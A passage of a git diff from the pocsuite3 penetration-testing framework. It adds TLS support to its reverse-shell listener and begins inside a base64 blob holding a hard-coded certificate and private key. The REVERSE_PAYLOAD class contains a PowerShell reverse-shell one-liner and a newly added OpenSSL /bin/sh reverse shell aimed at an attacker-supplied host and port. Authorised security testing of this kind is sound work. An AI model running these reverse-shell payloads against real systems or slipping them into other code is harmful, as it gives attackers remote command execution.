b'cmxrClE5cG5lck0rNGtxMDlIWENkNE0vZW45N0toOWpvOTY3MnRSNm9RNFk3NlE1' - b'OVpYSEtmZ1d5NFFySWNzVnFyWXoKYkM0a0VCdXlCcDZCZ1QxenhVVzZkMlIwYkl5' - b'MC9EOGlmWXgrK0RNakdKWFYyaGtRZ05IRlRVclJJeUZEZlZ0QwoyaUFkYjk1QUtn' - b'YU1ld09IeFNFRnYrRkNXTk9BY21iVGVtdGM3SVJaQW9JQkFRRFA5bEc0aHlCcG1n' - b'WWlGRkttClo0MkJWRzhLMS9oVWVpSjh3SFljUWgwVVRwWG14cHNvYS9VdWNHdFoy' - b'SXZtSG5RWmxEaFRNU1pMa1F3NFBoN1MKM2pSeXBmVEtMVFlCeFJWN3BYbkR3ZzZ1' - b'cmpDVzg0UVVjckIvRnRpK2Ivb2NScm4vZTN4SXEvc0xXWCtIcWZhRQpGeUEvVUhH' - b'WW0ydHozRmRHUUNmQVVNcmpIM3YvdWF6dVk2TEhuZm9tZC9ia1luVXg4U0NDaUhN' - b'SlEzQ1F2aEE5ClRtemo4alUreGd0cktjaGJBOVRaNVVKM2lpNkFvZ1c1d1k3SDAy' - b'VWRqeU5lT2hxcFd1Mk1HU21zS2tKSWsxT0IKaFlaM3c4SmtGSHpCOVVjWVdHRCt0' - b'UElYQkE1R3NBTEpOcmpDb1Z4VTA0NVVvdU14WHE4ODNsOFBKZ3R2R3RGNwpsYUlW' - b'QW9JQkFRQ2MvL3NNTlc0MUgvVGRyOXdqeWRMZGlaTkNTeHhVVEJnb2dab1BGUDRr' - b'aUw5WkRycE9yNnNCCmp2L2Nhc0FyVHhBcFkza2NWeUV2cDZ3dVBhMkVqRndERmNU' - b'S3Z0RDNnVzBEMHg2MTkrZm51TENLL0xEbFpEeWIKUjZYS0NWcXNtYXUxb2lIbnk4' - b'ME9ReTFxRlEzR1VTMlMwRDZqTkxrcnh4TnFnQnRYVXY0M3U3MEh6NllGOTRDSQpm' - b'U3FSeTJiV0g2Q3dLRzljNlR0YTdDVUVtcDdiVFZaemxvdlBhbTJ4UThaOGtJeW9l' - b'RitEbFdOajh1b1UyeXNNCld2YUdUNHdrSlBHc3JJbnpNZXB6a0hPNTlreHJEVS9Z' - b'eXdRV01KSXExamUvTDVlVmhEbjRrTEJVOFFMbzdFQmgKRE1QWVpFVGp2Uk1oaGZh' - b'YnRlWEpNQjNFSnowelc3UEIKLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQ==' + b'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR2akNDQXFhZ0F3SUJBZ0lJWVNpZnhqek80' + b'elF3RFFZSktvWklodmNOQVFFTEJRQXdnWjR4Q3pBSkJnTlYKQkFZVEFsVlRNUXN3Q1FZRFZRUUlE' + b'QUpPU2pFWk1CY0dBMVVFQnd3UVYyVnpkQ0JCYm5Sb2IyNTViR0Z1WkRFVwpNQlFHQTFVRUNnd05V' + b'Mk5vYm1WcFpHVnlJRXhNUXpFVk1CTUdBMVVFQ3d3TVlXTjBhVzl1TFdsMFpXMXpNUkV3CkR3WURW' + b'UVFEREFoamFHVnVMbUpwZWpFbE1DTUdDU3FHU0liM0RRRUpBUllXWVd4c2FYTnZibTFwYkd4bGNr' + b'QmoKYUdWdUxtSnBlakFlRncweU1EQXhNREV4TkRBeE1UVmFGdzB5T0RFeU1qa3hOREF4TVRWYU1J' + b'R2VNUXN3Q1FZRApWUVFHRXdKVlV6RUxNQWtHQTFVRUNBd0NUa294R1RBWEJnTlZCQWNNRUZkbGMz' + b'UWdRVzUwYUc5dWVXeGhibVF4CkZqQVVCZ05WQkFvTURWTmphRzVsYVdSbGNpQk1URU14RlRBVEJn' + b'TlZCQXNNREdGamRHbHZiaTFwZEdWdGN6RVIKTUE4R0ExVUVBd3dJWTJobGJpNWlhWG94SlRBakJn' + b'a3Foa2lHOXcwQkNRRVdGbUZzYkdsemIyNXRhV3hzWlhKQQpZMmhsYmk1aWFYb3dnZ0VpTUEwR0NT' + b'cUdTSWIzRFFFQkFRVUFBNElCRHdBd2dnRUtBb0lCQVFDeXFHdFJBUGNHCkF4SGZsTm1oV3BBKzJK' + b'ZVArZVg1ejN4OXJaWkVsWVJhTm04bWhNd25PbW83Z3ppOENEM0k0SXIvc3ArZG1uejQKUUpENTZi' + b'NUh5bzVNbHB4Y0dtcmxTYkRzWmlrRTBHWmZBcG9oVjVFMy9XUFBDaHFJSGxpWlBUZGEwaG1sZ1ha' + b'NwpzRmpMcmZtcEFQcmt2OGdmV0ZjNlZsaCtsbFFpMnRNMm9MYTdMaVBTeVdycXc5NjVXZG9rTzRJ' + b'b29HQ25XUUI4CkpiVmlYZEpFNEduZVF0cDBiQXplbzFsdHNadXNGOCtDdmQ2dGxSV0ZWZmUrd3Yv' + b'TU00UnpYYUFwTGpXSU5Ta2IKMmlWbWI5QmtpZ09VRHF6WUhlRzNWUGZKKzE2cjRicGZxZXljR3hu' + b'clkyL2Zpa0diRDRHVHRuZ1RITkovcWx5Ugp1Sjd0UkFzMTNUVHpBZ01CQUFFd0RRWUpLb1pJaHZj' + b'TkFRRUxCUUFEZ2dFQkFES0txR1dyS1ZWcEd1YmVubk5mCnp1Y1BvQk5jb0w2a2kzMVE1SmxKM09Q' + b'SVJtV3E4aGsycGlyeUxENkNCRER5VnUwd2Jtcnc2bHNrRWZRZE9qVW0KK1cxVElVQzJJeXJUT0w3' + b'RUY2YTdtT294VnZOSERnQ1JMaHZxakZtN2FlRE1ZMGpueGNycFJjUC9hRVJxSmRHWQovYWlSRDV5' + b'T0w3U2djVVd4ZEt6TmZiRzViOFcyVUNvTXdOS1NYcTJVRUR6d1U1RUZseTZsSFA3dTN0SE5QOGV6' + b'Ck9sU0VaUDdxTCswc0l4SitYeEk2ZGNPQzRVTXNSTGFLYjFHNXFoemFhRTFZU3FWWC9LcVBITUgz' + b'QzhXUXZJdUIKeE8vR2p6cHhBSmRXZzhJYU1qdWZPWExUMW15ZXJnZDU3b29SUVh1OVRJQzdjZG84' + b'N3Rjei9IMnk1aE83Vkkxbwo2SVU9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0KLS0tLS1CRUdJ' + b'TiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2Z0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktnd2dn' + b'U2tBZ0VBQW9JQkFRQ3lxR3RSQVBjR0F4SGYKbE5taFdwQSsySmVQK2VYNXozeDlyWlpFbFlSYU5t' + b'OG1oTXduT21vN2d6aThDRDNJNElyL3NwK2Rtbno0UUpENQo2YjVIeW81TWxweGNHbXJsU2JEc1pp' + b'a0UwR1pmQXBvaFY1RTMvV1BQQ2hxSUhsaVpQVGRhMGhtbGdYWjdzRmpMCnJmbXBBUHJrdjhnZldG' + b'YzZWbGgrbGxRaTJ0TTJvTGE3TGlQU3lXcnF3OTY1V2Rva080SW9vR0NuV1FCOEpiVmkKWGRKRTRH' + b'bmVRdHAwYkF6ZW8xbHRzWnVzRjgrQ3ZkNnRsUldGVmZlK3d2L01NNFJ6WGFBcExqV0lOU2tiMmlW' + b'bQpiOUJraWdPVURxellIZUczVlBmSisxNnI0YnBmcWV5Y0d4bnJZMi9maWtHYkQ0R1R0bmdUSE5K' + b'L3FseVJ1Sjd0ClJBczEzVFR6QWdNQkFBRUNnZ0VBTTd6b1R5NExXM2RhSHJoNWlldXpLREFMUEV1' + b'dldQZklZcEQ1bW1UK1RpM0QKWkpGQ21mMmx0QlJkUXI3VVBhOGhNY2xseGZ0dVEycFhVYmhxUFZv' + b'Z2VYZUlVbmZvQ3Z5Yk91cWU2R0Q5dEhnSgpjS3h1UnB1ZjR0NVhMcUl6SURXRktVejgxbHcybHIx' + b'TUNiZ1pPK01ueFVUd3pIc0Z6OFFmbnBFa1RtKzJpUFBuCml5WUc5YVBqSU90cWNFandxaEJhWWFt' + b'NVpwM0VOaEJpbkxjemhMb2srVlFnbkxwYlZXU29HbjZTZE5XcWRsbUQKdWxaYVZub1NSWkEwVzgy' + b'UjhLR01naVUyWUFHamphdmdBeGlBQXNoL1VwSE9nOVBFZHpNMEM5TGZWM2VEY3dQTAp3RXJicldE' + b'V1B2RXNidy9menkvRXJodEFDbVRFeExoazV2NGVqSnMzcVFLQmdRRG9jam9GTS9OcUpoWGVVRnQ3' + b'CnV3UCt5TWF6cnVUYnpBV0xKcGptSnlMTEVqNWZqWjhQVi9HUFkxTVAwYjY5TVJzbS9tZ3MyZGIz' + b'Q2JYS1pTRzcKZTZDRWlVMGdRODFPSVBUWitDUGx1Y1JaVVR2N3hHZU5SOEVUUjMzS1M5MmhZWEpJ' + b'cFZCNm1kWUlXNFpvSXhuTwpaa09NTFM4SU40WWlrNnJsam04NTZyUEd0UUtCZ1FERXd1VnhTK2ov' + b'Z01IZGowVG12WHJYbkVjYmxmd1ZhOU1wCnVEUTZIeVhubHFlL0xzb3ZFcmcrV2NFS2FURERmY2k2' + b'TWZXdzRpVjRDRUdjNHhJeGNwbUY2elFMWFJieGVZK3YKMDZ0KzBtdjI2bkdxeUdOYmlBS1FMYjRw' + b'SmxCU290c1Z2VGJHTjJzRGRkVTIzN2t0cHpQZ3FmSXZlbUFuZDBseApkU0N1L3UxdUJ3S0JnUURP' + b'WVh6NldhSHB3Vjd4UUUrNWo5YUFSU3VISmVXMDhYU0trLzUxZXBIOTAzamx4Z3hQCnh6bUdvaDJC' + b'a2l6VU5lRnh3YmdrK2xWT2lhU0t5emdrQ2lQL0NSa2RhSlhFcEtaQlVYd3QzNzVodnlxTzQxYzkK' + b'clZQVUZrbXRiNmFjUHJVRm95SE5lUUQ3OHFkbmxxSzNDejAySEhnQng2cWswSStQdWVNdmZSK1pj' + b'UUtCZ0M3SQpJQUZtQ1FubXRURldoUTFQYzh1YnpwUlNmdE1oQmQzZmZCdHRtSGVOckdpYVdWd0Qy' + b'V2FKdElvakpJTDJmeWsyCkE3S0FzbVB0b3B3SXFTUzBtS2ZzbWoweGJ1a08vQWpVRE94a1gyTWZy' + b'dExxUGlWZkd5em9rMVA1VmhPdndPTlUKVDVlbFNYNVRIOVNpTU1jWUFBK2ttSDZOWEJ0R0UySTBk' + b'UWJtZWRFMUFvR0JBS2xkMnlHTll2eDZMc1F1czlOWgpjVlZNWHFLbFVKY1pSTVY5aGdTdTQ3alZI' + b'ZnlMMVFRcTFnaG1rU0NpeGVZWXJLSW4xU09ubERsK2VwYTQ3SmxqClhhd3ZNRFREWmxRRGxwS05v' + b'dEgzbThLQUZ0VUVvQ2dzTm5zM3ZoOERDSXFJUEJEMDRndkV3R3pLYnNhQUM1WGIKUFprd1o0TlFK' + b'RWlDTnRyMUR6Qmg0ZktuCi0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K' ) hard_coded_cert = base64.b64decode(hard_coded_cert_base64) with open(filepath, "wb+") as fw: diff --git a/pocsuite3/modules/httpserver/__init__.py b/pocsuite3/modules/httpserver/__init__.py index c4d68fa6..5906040f 100644 --- a/pocsuite3/modules/httpserver/__init__.py +++ b/pocsuite3/modules/httpserver/__init__.py @@ -92,8 +92,7 @@ class PHTTPServer(threading.Thread, metaclass=PHTTPSingleton): def __init__(self, bind_ip='0.0.0.0', bind_port=666, is_ipv6=False, use_https=False, certfile=os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem'), requestHandler=BaseRequestHandler): - if not os.path.exists(certfile): - gen_cert(filepath=certfile) + gen_cert(filepath=certfile) threading.Thread.__init__(self) self.bind_ip = bind_ip self.bind_port = int(bind_port) diff --git a/pocsuite3/modules/listener/reverse_tcp.py b/pocsuite3/modules/listener/reverse_tcp.py index b41a3551..88742f82 100644 --- a/pocsuite3/modules/listener/reverse_tcp.py +++ b/pocsuite3/modules/listener/reverse_tcp.py @@ -2,9 +2,10 @@ import socket import threading import time - +import os +from pocsuite3.lib.utils import gen_cert from pocsuite3.lib.core.common import data_to_stdout, has_poll, get_unicode, desensitization -from pocsuite3.lib.core.data import conf, kb, logger +from pocsuite3.lib.core.data import conf, kb, logger, paths from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.enums import AUTOCOMPLETE_TYPE, OS, CUSTOM_LOGGING from pocsuite3.lib.core.exception import PocsuiteShellQuitException @@ -27,6 +28,15 @@ def get_sock_listener(listen_port, listen_host="0.0.0.0", ipv6=False, protocol=N s = socket.socket(socket.AF_INET, protocol) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + msg = '' + if conf.enable_tls_listener and protocol == socket.SOCK_STREAM: + import ssl + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + cert_path = os.path.join(paths.POCSUITE_DATA_PATH, 'cacert.pem') + gen_cert(filepath=cert_path) + context.load_cert_chain(cert_path) + s = context.wrap_socket(s, server_side=True) + msg = 'TLS ' try: s.bind((listen_host, listen_port)) except socket.error: @@ -36,7 +46,7 @@ def get_sock_listener(listen_port, listen_host="0.0.0.0", ipv6=False, protocol=N return None if protocol == socket.SOCK_STREAM: - msg = "listening on {0}:{1}".format(listen_host, listen_port) + msg += "listening on {0}:{1}".format(listen_host, listen_port) logger.log(CUSTOM_LOGGING.SYSINFO, msg) s.listen(5) return s @@ -313,7 +323,7 @@ class REVERSE_PAYLOAD: p.waitFor() """ POWERSHELL = """$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()""" - + OPENSSL = """rm -rf /tmp/s;mkfifo /tmp/s;/bin/sh -i &1|openssl s_client -quiet -connect {0}:{1}>/tmp/s;rm -rf /tmp/s""" if __name__ == "__main__": diff --git a/requirements.txt b/requirements.txt index a3a9a633..ec480406 100644 --- a/requirements.txt +++ b/requirements.txt @@ -9,3 +9,4 @@ prettytable >= 0.7.2 colorlog >= 4.7.2 scapy >= 2.4.4 pyOpenSSL >= 20.0.0 +Faker >= 0.7.7 diff --git a/setup.py b/setup.py index 9db74552..cc29aab1 100644 --- a/setup.py +++ b/setup.py @@ -14,7 +14,7 @@ def find_packages(where='.'): setup( name='pocsuite3', - version='1.8.5', + version='1.8.6', url='http://pocsuite.org', description='Pocsuite is an open-sourced remote vulnerability testing framework developed by the Knownsec Security Team.', long_description="""\ @@ -45,7 +45,8 @@ def find_packages(where='.'): "colorama", "prettytable", "colorlog", - "scapy" + "scapy", + "Faker" ], extras_require={ 'complete': [